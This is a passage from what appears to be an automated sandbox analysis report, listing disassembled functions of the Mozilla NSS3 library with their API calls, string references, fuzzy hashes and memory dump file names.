PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D047FB2

Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBA51
Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBA6B
Part of subcall function 6CFCBA40: EnterCriticalSection.KERNEL32 ref: 6CFCBA83
Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBAA1
Part of subcall function 6CFCBA40: _PR_MD_UNLOCK.NSS3 ref: 6CFCBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D047FD4

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6D049430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6D049466

PR_ExitMonitor.NSS3(?), ref: 6D04801B
PR_EnterMonitor.NSS3(?), ref: 6D048034
TlsGetValue.KERNEL32 ref: 6D0480A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D0480C0
PR_ExitMonitor.NSS3(?), ref: 6D04811C
PR_ExitMonitor.NSS3(?), ref: 6D048134

Strings

), xrefs: 6D0480DB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 8fba477b5102cd733c6d176eda9e6b90b6c021e855f616c160c50ac0c193600b
Instruction ID: ada7e8c10df8c92ef4a94b6ed068aa2b30890c222c57559a1e18acaf308c4fec
Opcode Fuzzy Hash: 8fba477b5102cd733c6d176eda9e6b90b6c021e855f616c160c50ac0c193600b
Instruction Fuzzy Hash: 055102B5A04706DAF7219B34AC00FAF77F4AF82308F048839DE5A57252E771A558C6D2

Function 6CFEFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CFEFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CFEFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CFEFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFEFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CFEFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CFEFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CFEFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFEFD84

Strings

:, xrefs: 6CFEFD78

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 6a7c66356c4cea70f2058a74f293aad2a8ee03aa1149335637486603eae107db
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: CB31F4B2D04219ABEB508AA4EC0176F7BA8AF88358F260535DD14E7610E772EA04C7D2

Function 6CFD0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFD0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD0F84

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CFEF59B,6D0F890C,?), ref: 6CFD0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CFD0FC1

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CFD0FDB
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CFD1001
PL_FinishArenaPool.NSS3(?), ref: 6CFD1009

Strings

security, xrefs: 6CFD0F5C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 29011a2d3a57e9b9cc438d37108f287738580cc952e9d5ad94c439655d6cd469
Instruction ID: a898970497082a34498ffdda9a152fbd2eda139af94332280d46dd4e1eefdddc
Opcode Fuzzy Hash: 29011a2d3a57e9b9cc438d37108f287738580cc952e9d5ad94c439655d6cd469
Instruction Fuzzy Hash: A221F2B1908204ABE7109F24EC80FAE77A4EF84658F168118FD189B202F732E555CBD2

Function 6CFD6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CFD7D8F,6CFD7D8F,?,?), ref: 6CFD6DC8

Part of subcall function 6D02FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D02FE08
Part of subcall function 6D02FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D02FE1D
Part of subcall function 6D02FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D02FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CFD7D8F,?,?), ref: 6CFD6DD5

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FA0,00000000,?,?,?,?,6CFD7D8F,?,?), ref: 6CFD6DF7

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFD6E35

Part of subcall function 6D02FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D02FE29
Part of subcall function 6D02FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D02FE3D
Part of subcall function 6D02FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6D02FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFD6E4C

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FE0,00000000), ref: 6CFD6E82

Part of subcall function 6CFD6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CFDB21D,00000000,00000000,6CFDB219,?,6CFD6BFB,00000000,?,00000000,00000000,?,?,?,6CFDB21D), ref: 6CFD6B01
Part of subcall function 6CFD6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CFD6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFD6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFD6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FE0,00000000), ref: 6CFD6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CFD7D8F,?,?), ref: 6CFD6FE1

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 327d7efb33f2a4965202c1be21ac51e29675a2dbfa3e4653bb07ec2d4c886ca5
Instruction ID: c990515f806b17f046652e87c3011d7b8b192ce11bd896623559bc5710e69296
Opcode Fuzzy Hash: 327d7efb33f2a4965202c1be21ac51e29675a2dbfa3e4653bb07ec2d4c886ca5
Instruction Fuzzy Hash: 3371B071D146469FEB00CF15CD40BAABBA4BF94308F1A4629F818DBA11F771FA94CB91

Function 6D010FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D011057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D011085
PK11_GetAllTokens.NSS3 ref: 6D0110B1
free.MOZGLUE(?), ref: 6D011107
PR_SetError.NSS3(00000000,00000000), ref: 6D011172
free.MOZGLUE(?), ref: 6D011182
free.MOZGLUE(?), ref: 6D0111A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6D0111C5

Part of subcall function 6D0152C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D0152DF
Part of subcall function 6D0152C0: EnterCriticalSection.KERNEL32(?), ref: 6D0152F3
Part of subcall function 6D0152C0: PR_Unlock.NSS3(?), ref: 6D015358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0111D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0111F3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ad15eeb602ef414934f145e71b557d9c3f4d10793c38696be9af5294adb83936
Instruction ID: 54c71e2ee3459b1811ffd62f1221da80fcfc714985c1a6a2a2b0c1312f8cab44
Opcode Fuzzy Hash: ad15eeb602ef414934f145e71b557d9c3f4d10793c38696be9af5294adb83936
Instruction Fuzzy Hash: 66619FB5E082069BFB05CFA4DC81BAEB7B5BF14344F154128ED19AB341E771E941CB92

Function 6D01ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE10
EnterCriticalSection.KERNEL32(?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CFFD079,00000000,00000001), ref: 6D01AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE7F
TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEF1
free.MOZGLUE(6CFFCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?), ref: 6D01AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AF30

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 57554a288d2b4aa240ddd717b271eb8fcdd0e32010c18dc9e402d774ce344689
Instruction ID: 0e5c19325f246876ec2b760d19eae9a80f24fb486d7ddfb94ec6c1a5cf802c1b
Opcode Fuzzy Hash: 57554a288d2b4aa240ddd717b271eb8fcdd0e32010c18dc9e402d774ce344689
Instruction Fuzzy Hash: 3E51A1B5908602EFEB01DFA5DC84B6AB7F4FF04314F104168E91897A11E771E8A9CBD1

Function 6CFF4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CC8
TlsGetValue.KERNEL32(?,6CFFAB7F,?,00000000,?), ref: 6CFF4CE0
EnterCriticalSection.KERNEL32(?,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CF4
PL_HashTableLookup.NSS3(?,?,?,6CFFAB7F,?,00000000,?), ref: 6CFF4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CFF4D10

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CFF4D26

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CFF4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CFF4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CFF4E02

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: b80cc0b00e98f646c72e0e990392823b089e5a91006130018b9008663888b3e2
Instruction ID: 4300ed7d3025657574db8537cc2716ad3ffb302386e9136f8a5166af9f8be621
Opcode Fuzzy Hash: b80cc0b00e98f646c72e0e990392823b089e5a91006130018b9008663888b3e2
Instruction Fuzzy Hash: 3441B7B6D00105ABEB019F24ED44BAB7BB9FF49258F054170ED1887722EB31D965C7B1

Function 6CFDBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDBFFB

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CFDC015

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CFDC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CFDC04D

Part of subcall function 6D0269E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D026A47
Part of subcall function 6D0269E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6D026A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CFDC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CFDC07B

Part of subcall function 6CFD8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CFD7310), ref: 6CFD89B8
Part of subcall function 6CFD8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CFD7310), ref: 6CFD89E6
Part of subcall function 6CFD8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CFD8A00
Part of subcall function 6CFD8980: CERT_CopyRDN.NSS3(00000004,00000000,6CFD7310,?,?,00000004,?), ref: 6CFD8A1B
Part of subcall function 6CFD8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CFD8A74

Part of subcall function 6CFD1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CFDC097,00000000,000000B0,?), ref: 6CFD1D2C
Part of subcall function 6CFD1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CFDC09B,00000000,00000000,00000000,?,6CFDC097,00000000,000000B0,?), ref: 6CFD1D3F
Part of subcall function 6CFD1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CFDC087,00000000,000000B0,?), ref: 6CFD1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CFDC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CFDC0C9

Part of subcall function 6CFE2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CFDC0D2,6CFDC0CE,00000000,-000000D4,?), ref: 6CFE2DF5
Part of subcall function 6CFE2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CFDC0CE,00000000,-000000D4,?), ref: 6CFE2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CFDC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDC0E3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: c13cb8033baedb97b0dec5dbbeae60d9a85f351bdc1b6df141edd2d478da091b
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: D12174B26441056BFB005A61AC85FBB336C9B4175CF0E4134FE04DA646FB66E51983B3

Function 6CFD2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFD2CDA,?,00000000), ref: 6CFD2E1E

Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFD9003,?), ref: 6D02FD91
Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(A4686D03,?), ref: 6D02FDA2
Part of subcall function 6D02FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686D03,?,?), ref: 6D02FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFD2E33

Part of subcall function 6D02FD80: free.MOZGLUE(00000000,?,?), ref: 6D02FDD1

TlsGetValue.KERNEL32 ref: 6CFD2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CFD2E5E
PL_HashTableLookup.NSS3(?), ref: 6CFD2E71
PL_HashTableRemove.NSS3(?), ref: 6CFD2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CFD2E96
PR_Unlock.NSS3 ref: 6CFD2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD2EC5

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 936487ed16d2b831ac73067317098d76d8cd1e53121da7adc93a14100487ecb2
Instruction ID: 32d8b228c34c87be3ce3fc6bd475f4060eeec80eb8af8abc65ed32c45900fff9
Opcode Fuzzy Hash: 936487ed16d2b831ac73067317098d76d8cd1e53121da7adc93a14100487ecb2
Instruction Fuzzy Hash: AA21F576D04102A7EF212B65FC05FDB3A79AB9235DF0A0130EE1886211F773D969D6E1

Function 6CFBFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFBFD18
sqlite3_initialize.NSS3 ref: 6CFBFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFBFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CFBFD99
sqlite3_free.NSS3(00000000), ref: 6CFBFE3C
sqlite3_free.NSS3(?), ref: 6CFBFEE3
sqlite3_free.NSS3(?), ref: 6CFBFEEE

Strings

simple, xrefs: 6CFBFC79

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
